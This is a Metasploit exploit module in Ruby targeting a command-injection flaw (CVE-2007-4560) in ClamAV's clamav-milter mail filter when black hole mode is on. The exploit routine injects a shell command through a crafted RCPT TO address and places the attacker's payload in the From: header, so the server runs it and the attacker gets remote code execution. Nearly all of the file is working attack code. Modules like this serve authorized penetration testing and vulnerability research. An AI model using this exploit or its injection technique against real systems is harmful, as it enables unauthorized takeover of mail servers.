100 lines
2.7 KiB
Ruby
100 lines
2.7 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Smtp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
|
|
(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
|
|
When implemented with black hole mode enabled, it is possible to execute
|
|
commands remotely due to an insecure popen call.
|
|
},
|
|
'Author' => [ 'patrick' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2007-4560' ],
|
|
[ 'OSVDB', '36909' ],
|
|
[ 'BID', '25439' ],
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 1024,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl ruby bash telnet',
|
|
}
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { }],
|
|
],
|
|
'DisclosureDate' => 'Aug 24 2007',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
# ClamAV writes randomized msg.###### temporary files in a randomized
|
|
# /tmp/clamav-#######################/ directory. This directory is
|
|
# the clamav-milter process working directory.
|
|
#
|
|
# We *can* execute arbitrary code directly from 'sploit', however the
|
|
# SMTP RFC rejects all payloads with the exception of generic CMD
|
|
# payloads due to the IO redirects. I discovered that the 'From:'
|
|
# header is written to this temporary file prior to the vulnerable
|
|
# call, so we call the file itself and payload.encoded is executed.
|
|
|
|
sploit = "sh msg*" # Execute the clamav-milter temporary file.
|
|
|
|
# Create the malicious RCPT TO before connecting,
|
|
# to make good use of the Msf::Exploit::Smtp support.
|
|
|
|
oldaddr = datastore['MAILTO']
|
|
newaddr = oldaddr.split('@')
|
|
|
|
datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"
|
|
|
|
connect_login
|
|
|
|
sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
|
|
sock.put(".\r\n")
|
|
|
|
# Clean up RCPT TO afterwards
|
|
|
|
datastore['MAILTO'] = oldaddr
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|